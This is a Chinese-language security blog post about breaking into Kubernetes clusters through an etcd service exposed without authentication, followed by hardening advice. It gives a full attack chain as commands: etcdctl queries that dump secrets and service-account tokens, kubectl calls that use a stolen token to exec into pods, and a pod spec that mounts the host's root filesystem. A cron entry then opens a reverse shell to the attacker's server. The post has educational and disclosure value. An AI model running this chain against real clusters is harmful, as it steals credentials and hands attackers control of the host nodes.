与k8s-etcd的一次相遇

admin 2025年1月9日12:51:09评论11 views字数 4312阅读14分22秒阅读模式

与k8s-etcd的一次相遇

与k8s-etcd的一次相遇

前瞻

与k8s-etcd的一次相遇

啥是etcd?

Kubernetes集群内的各种资源及其状态存储在etcd中

分布式键值存储:etcd 提供了一个一致且可靠的键值对数据库,允许集群中的多个节点共享和同步数据。

高可用性:通过使用 Raft 共识算法,etcd 确保了即使某些节点出现故障,数据仍然可以保持一致性和可用性。

API Server 的后端存储:在 Kubernetes 中,etcd 是 API Server 的后端存储,所有集群的数据(如 Pods、Services、ConfigMaps 等)都保存在这里。

etcd有什么风险

启动 etcd 时如果不指定 --client-cert-auth 参数来启用客户端证书认证,并将 --listen-client-urls 修改为监听 0.0.0.0(即所有网络接口),同时没有通过安全组或防火墙规则限制访问,将会导致严重的安全隐患(可以利用etcdctl工具未授权访问etcd服务)。

在安装k8s之后默认的配置2379都只会监听127.0.0.1,而不会监听0.0.0.0,那么也就意味着最多就是本地访问,不能公网访问(当然可以修改启动yaml设置为内网ip监听,一般业务为了高可用会这样设置,所以内网还是有很大风险可能性的)

与k8s-etcd的一次相遇

默认集群启动需要证书才可以访问:

与k8s-etcd的一次相遇

直接访问会提示如下:

与k8s-etcd的一次相遇

确认漏洞存在

2379端口

与k8s-etcd的一次相遇

或者version(部分情况利用有问题):

与k8s-etcd的一次相遇

漏洞深入利用

与k8s-etcd的一次相遇

明晰思路

etcd漏洞获取一个admin token

->利用etcdctl导出k8s的一些键值对查询api server的地址

->利用token调用api server执行kubectl命令

->启动镜像时将宿主机目录挂载进去

->进入启动的容器逃逸

->恭喜你成为尊贵的master!

查询token

./etcdctl --endpoints=ip:2379 get / --prefix --keys-only | grep/secrets/

与k8s-etcd的一次相遇

选取权限

job-controller-token(create pods) daemon-set-controller-token(create pods) deployment-controller-token(list describe pods) clusterrole-aggregation-controller-token(allor 普通权限) kube-system/ttl-controller-token(一般可以查看所有node) dashboard token(可能高权限) adminxxx token(自定义,一般高权限)

查token具体内容

我选这个只有get pods权限(建议直接冲admin token,后续利用须使用admin token)

./etcdctl --endpoints=ip:2379get/registry/secrets/kube-system/deployment-controller-token-qckdz
与k8s-etcd的一次相遇

    保存到data文件里面翻阅api server地址:

./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/ get / --prefix --keys-only | sort | uniq | xargs -I{} sh -c 'ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379 get {} >> output.data && echo "" >> output.data'

查询kube-apiserver 地址

搜索advertiseAddress

与k8s-etcd的一次相遇

利用token执行kubectl操作命令

kubectl  --insecure-skip-tls-verify -s https://ip:port --token="ey......EZQ4g" get pod kubectl  --insecure-skip-tls-verify -s https://ip:port --token="ey......EZQ4g" get node

列pods实战:

kubectl  --insecure-skip-tls-verify -s https://apiserver的IP:6443 --token="eyJ......" get pods -o wide --all-namespaces  使用--all-namespaces列出非默认的pods(其他命名空间)

与k8s-etcd的一次相遇

执行命令

kubectl  --insecure-skip-tls-verify -s https://ip:6443 --token="获取到的token-ey开头的"exec -it pod或者node名字 --sh

与k8s-etcd的一次相遇

利用配置文件挂载启动镜像

echo "apiVersion: v1nkind: Podnmetadata:n name: test123n namespace: defaultnspec:n containers:n - image: 某镜像名字1n  name: test123n  volumeMounts:n  - mountPath: /mntn   name: test1n volumes:n - name: test1n  hostPath:n   path: /n"| kubectl --insecure-skip-tls-verify -s https://ip:6443 --token="eyJ......" apply -f -

利用get pods会看到一个test123在运行了,同样用exec进去。

mnt目录下就是宿主机的目录

docker没有ifconfig、ip a可以看下etc/hosts文件:

与k8s-etcd的一次相遇

计划任务逃逸

需要写入/var/spool/cron/root(centos和ubuntu的具体文件有微小的区别,读者自行尝试)

echo "*/1 * * * * /bin/bash -i >& /dev/tcp/vpsip/vps端口 0>&1" >/mnt/var/spool/cron/root
与k8s-etcd的一次相遇

最后,恭喜你成为尊贵的master!

修复建议

与k8s-etcd的一次相遇

粘贴下gpt的读一读:

1.启用身份验证和授权

·  启用客户端认证:使用 --client-cert-auth 参数强制客户端提供有效的证书进行身份验证。

·  配置 TLS 认证:确保所有通信都通过 TLS 加密,并为 etcd 配置 CA 证书、服务器证书和私钥。

--cert-file=/etc/etcd/pki/server.crt  --key-file=/etc/etcd/pki/server.key  --client-cert-auth  --trusted-ca-file=/etc/etcd/pki/ca.crt

·  设置强密码策略:如果使用用户名和密码认证,确保采用强密码策略。

2. 限制监听地址

·  只监听本地或内部网络接口:不要让 etcd 监听所有网络接口(如 0.0.0.0)。尽量将其限制为本地回环地址 (127.0.0.1) 或受信任的内部网络 IP 地址。

--listen-client-urls=https://127.0.0.1:2379,https://:2379--advertise-client-urls=https://:2379

3. 使用防火墙规则

·  配置防火墙:使用防火墙规则(如 iptables、安全组)来限制对 etcd 端口的访问,仅允许来自特定 IP 地址或子网的流量。

# Example for iptables sudo iptables -AINPUT -p tcp --dport2379 -s-j ACCEPT sudo iptables -AINPUT -p tcp --dport2379 -j DROP

4. 实施最小权限原则

·  最小化访问权限:遵循最小权限原则,确保只有真正需要访问 etcd 的组件和服务拥有相应的权限。避免授予不必要的读写权限。

5. 定期审查和更新配置

·  定期检查配置:定期审查 etcd 的配置文件和启动参数,确保没有不安全的设置。

·  保持软件更新:确保使用最新版本的 etcd 和相关依赖库,及时应用官方发布的安全补丁。

6. 日志监控和告警

·  启用日志记录:确保 etcd 的日志记录功能已开启,并将日志发送到集中式日志管理系统中。

·  设置告警机制:配置告警规则,以便在检测到异常活动时能够迅速响应。

7. 文档和培训

·  文档化安全配置:创建详细的文档,记录如何正确配置 etcd 以保证其安全性。

·  员工培训:对管理员和技术人员进行培训,提高他们对 etcd 安全性的认识。

示例配置

上述部分推荐的安全配置:

etcd    --name example-node    --data-dir=/var/lib/etcd     --initial-advertise-peer-urls=https://:2380      --listen-peer-urls=https://0.0.0.0:2380      --advertise-client-urls=https://:2379      --listen-client-urls=https://127.0.0.1:2379,https://:2379      --cert-file=/etc/etcd/pki/server.crt      --key-file=/etc/etcd/pki/server.key      --client-cert-auth      --trusted-ca-file=/etc/etcd/pki/ca.crt      --peer-cert-file=/etc/etcd/pki/peer.crt      --peer-key-file=/etc/etcd/pki/peer.key      --peer-client-cert-auth      --peer-trusted-ca-file=/etc/etcd/pki/ca.crt      --initial-cluster=example-node=https://:2380      --initial-cluster-token=tkn      --initial-cluster-state=new

参考

与k8s-etcd的一次相遇

https://www.cnblogs.com/Clownwang/articles/16201747.html

监制丨船长、铁子

策划丨Cupid

美工丨molin

原文始发于微信公众号(千寻安服):与k8s-etcd的一次相遇

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月9日12:51:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   与k8s-etcd的一次相遇https://cn-sec.com/archives/3609817.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息